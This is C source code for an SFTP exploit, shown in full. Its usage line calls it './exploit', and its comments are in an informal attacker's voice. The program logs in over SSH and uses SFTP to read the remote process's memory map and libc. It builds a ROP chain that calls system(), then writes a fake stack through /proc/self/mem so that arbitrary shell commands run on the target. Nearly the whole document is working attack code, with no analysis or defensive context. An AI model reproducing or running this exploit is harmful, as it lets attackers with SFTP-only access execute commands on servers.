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- #define _GNU_SOURCE
- #include <libssh/libssh.h>
- #include <libssh/sftp.h>
- #include <stdlib.h>
- #include <stdio.h>
- #include <sys/types.h>
- #include <sys/stat.h>
- #include <fcntl.h>
- #include <string.h>
- #include <errno.h>
- #define min(a,b) (((a)<(b))?(a):(b))
- sftp_session sftp;
- size_t grab_file(char *rpath, char **out) {
- size_t allocated = 4000, used = 0;
- *out = calloc(1, allocated+1);
- sftp_file f = sftp_open(sftp, rpath, O_RDONLY, 0);
- if (f == NULL) fprintf(stderr, "Error opening remote file %s: %s\n", rpath, ssh_get_error(sftp)), exit(1);
- while (1) {
- ssize_t nbytes = sftp_read(f, *out+used, allocated-used);
- if (nbytes < 0) fprintf(stderr, "Error reading remote file %s: %s\n", rpath, ssh_get_error(sftp)), exit(1);
- if (nbytes == 0) {
- (*out)[used] = '\0';
- sftp_close(f);
- return used;
- }
- used += nbytes;
- if (used == allocated) {
- allocated *= 4;
- *out = realloc(*out, allocated);
- }
- }
- }
- void dump_file(char *name, void *buf, size_t len) {
- FILE *f = fopen(name, "w+");
- if (!f) perror("can't write to local file"), exit(1);
- if (fwrite(buf, 1, len, f) != len) fprintf(stderr, "local write failed\n"), exit(1);
- if (fclose(f)) fprintf(stderr, "fclose error\n"), exit(1);
- }
- size_t slurp_file(char *path, char **out) {
- size_t allocated = 4000, used = 0;
- *out = calloc(1, allocated+1);
- FILE *f = fopen(path, "r");
- if (f == NULL) perror("opening local file failed"), exit(1);
- while (1) {
- ssize_t nbytes = fread(*out+used, 1, allocated-used, f);
- if (nbytes < 0) fprintf(stderr, "Error reading local file %s: %s\n", path, strerror(errno)), exit(1);
- if (nbytes == 0) {
- (*out)[used] = '\0';
- if (fclose(f)) fprintf(stderr, "fclose error\n"), exit(1);
- return used;
- }
- used += nbytes;
- if (used == allocated) {
- allocated *= 4;
- *out = realloc(*out, allocated);
- }
- }
- }
- int main(int argc, char **argv) {
- if (argc != 4) fprintf(stderr, "invocation: ./exploit host user 'shell commands here'\n"), exit(1);
- char *target_host = argv[1];
- char *target_user = argv[2];
- char *shell_commands = argv[3];
- ssh_session my_ssh_session;
- int rc;
- char *password;
- // Open session and set options
- my_ssh_session = ssh_new();
- if (my_ssh_session == NULL) exit(-1);
- ssh_options_set(my_ssh_session, SSH_OPTIONS_HOST, target_host);
- ssh_options_set(my_ssh_session, SSH_OPTIONS_USER, target_user);
- // Connect to server
- rc = ssh_connect(my_ssh_session);
- if (rc != SSH_OK) fprintf(stderr, "Error connecting to host: %s\n", ssh_get_error(my_ssh_session)), exit(-1);
- // Authenticate ourselves
- password = getpass("Password: ");
- rc = ssh_userauth_password(my_ssh_session, NULL, password);
- if (rc != SSH_AUTH_SUCCESS)
- fprintf(stderr, "Error authenticating with password: %s\n", ssh_get_error(my_ssh_session)), exit(-1);
- sftp = sftp_new(my_ssh_session);
- if (sftp == NULL) fprintf(stderr, "Error allocating SFTP session: %s\n", ssh_get_error(my_ssh_session)), exit(-1);
- rc = sftp_init(sftp);
- if (rc != SSH_OK) {
- fprintf(stderr, "Error initializing SFTP session: %s.\n", ssh_get_error(sftp));
- sftp_free(sftp);
- return rc;
- }
- char *mappings;
- grab_file("/proc/self/maps", &mappings);
- //printf("/proc/self/maps dump: \n%s\n\n\n", mappings);
- printf("got /proc/self/maps. looking for libc...\n");
- // 7fc9e742b000-7fc9e75ad000 r-xp 00000000 fe:00 2753466 /lib/x86_64-linux-gnu/libc-2.13.so
- long long start_addr, end_addr, offset;
- char *libc_path = NULL;
- long long stack_start_addr = 0, stack_end_addr;
- for (char *p = strtok(mappings, "\n"); p; p = strtok(NULL, "\n")) {
- if (strstr(p, " r-xp ") && strstr(p, "/libc-")) {
- if (libc_path) fprintf(stderr, "warning: two times libc?\n");
- printf("mapping line: %s\n", p);
- if (sscanf(p, "%Lx-%Lx %*4c %Lx", &start_addr, &end_addr, &offset) != 3) perror("scanf failed"), exit(1);
- libc_path = strdup(strchr(p, '/'));
- if (libc_path == NULL) fprintf(stderr, "no path in mapping?"), exit(1);
- }
- if (strstr(p, "[stack]")) {
- if (stack_start_addr != 0) fprintf(stderr, "two stacks? no."), exit(1);
- printf("mapping line: %s\n", p);
- if (sscanf(p, "%Lx-%Lx ", &stack_start_addr, &stack_end_addr) != 2) perror("scanf failed"), exit(1);
- }
- }
- if (libc_path == NULL) fprintf(stderr, "unable to find libc\n"), exit(1);
- if (stack_start_addr == 0) fprintf(stderr, "unable to find stack"), exit(1);
- printf("remote libc is at %s\n", libc_path);
- printf("offset %Lx from libc is mapped to %Lx-%Lx\n", offset, start_addr, end_addr);
- char *libc;
- size_t libc_size = grab_file(libc_path, &libc);
- dump_file("libc.so", libc, libc_size);
- printf("downloaded libc, size is %zu bytes\n", libc_size);
- system("objdump -T libc.so | grep ' system$' | cut -d' ' -f1 > system.addr");
- char *system_offset_str;
- slurp_file("system.addr", &system_offset_str);
- long long system_offset;
- if (sscanf(system_offset_str, "%Lx", &system_offset) != 1) perror("scanf failed"), exit(1);
- long long remote_system_addr = start_addr+system_offset-offset;
- printf("remote system() function is at %Lx\n", remote_system_addr);
- printf("looking for ROP gadget `pop rdi;ret` (0x5fc3) in libc...\n");
- char *gadget = memmem(libc+offset, end_addr-start_addr, "\x5f\xc3", 2);
- if (gadget == NULL) fprintf(stderr, "no gadget found :(\n"), exit(1);
- long long gadget_address = start_addr + (gadget-(libc+offset));
- long long ret_address = gadget_address+1;
- printf("found gadget at %Lx\n", gadget_address);
- printf("remote stack is at %Lx-%Lx\n", stack_start_addr, stack_end_addr);
- printf("doing it the quick-and-dirty way (that means: pray that the target"
- "program was compiled with gcc, giving us 16-byte stack alignment)...\n");
- long long stack_len = stack_end_addr - stack_start_addr;
- /*if (stack_len > 32000) {
- stack_len = 32000;
- stack_start_addr = stack_end_addr - stack_len;
- }*/
- char *new_stack = malloc(stack_len);
- // first fill it with our ret slide
- for (long long *s = (void*)new_stack; s<(long long*)(new_stack+stack_len); s++) {
- *s = ret_address;
- }
- // put some shell commands in the head
- strcpy(new_stack, shell_commands);
- // put the mini-ROP-chain at the end
- // [address of pop rdi] [stack head] [address of system]
- long long *se = (void*)(new_stack + stack_len);
- se[-3] = gadget_address;
- se[-2] = stack_start_addr;
- se[-1] = remote_system_addr;
- printf("Prepared the new stack. Now comes the moment of truth: push the new stack over and pray.\n");
- sftp_file mem = sftp_open(sftp, "/proc/self/mem", O_RDWR, 0);
- if (mem == NULL) fprintf(stderr, "Error opening remote memory: %s\n", ssh_get_error(sftp)), exit(1);
- // first send over the string
- rc = sftp_seek64(mem, stack_start_addr);
- if (rc) fprintf(stderr, "Error seeking to remote stack: %s\n", ssh_get_error(sftp)), exit(1);
- ssize_t mem_written = sftp_write(mem, new_stack, strlen(shell_commands)+1);
- if (mem_written != strlen(shell_commands)+1) fprintf(stderr, "didn't write the whole new stack\n");
- // now send over the rest right-to-left
- for (long long off = stack_len-32000; off >= 0; off -= 32000) {
- rc = sftp_seek64(mem, stack_start_addr+off);
- if (rc) fprintf(stderr, "Error seeking: %s\n", ssh_get_error(sftp)), exit(1);
- mem_written = sftp_write(mem, new_stack+off, 32000);
- if (mem_written != 32000) fprintf(stderr, "stack write failed – that's probably good :)\n"), exit(0);
- }
- return 0;
- }
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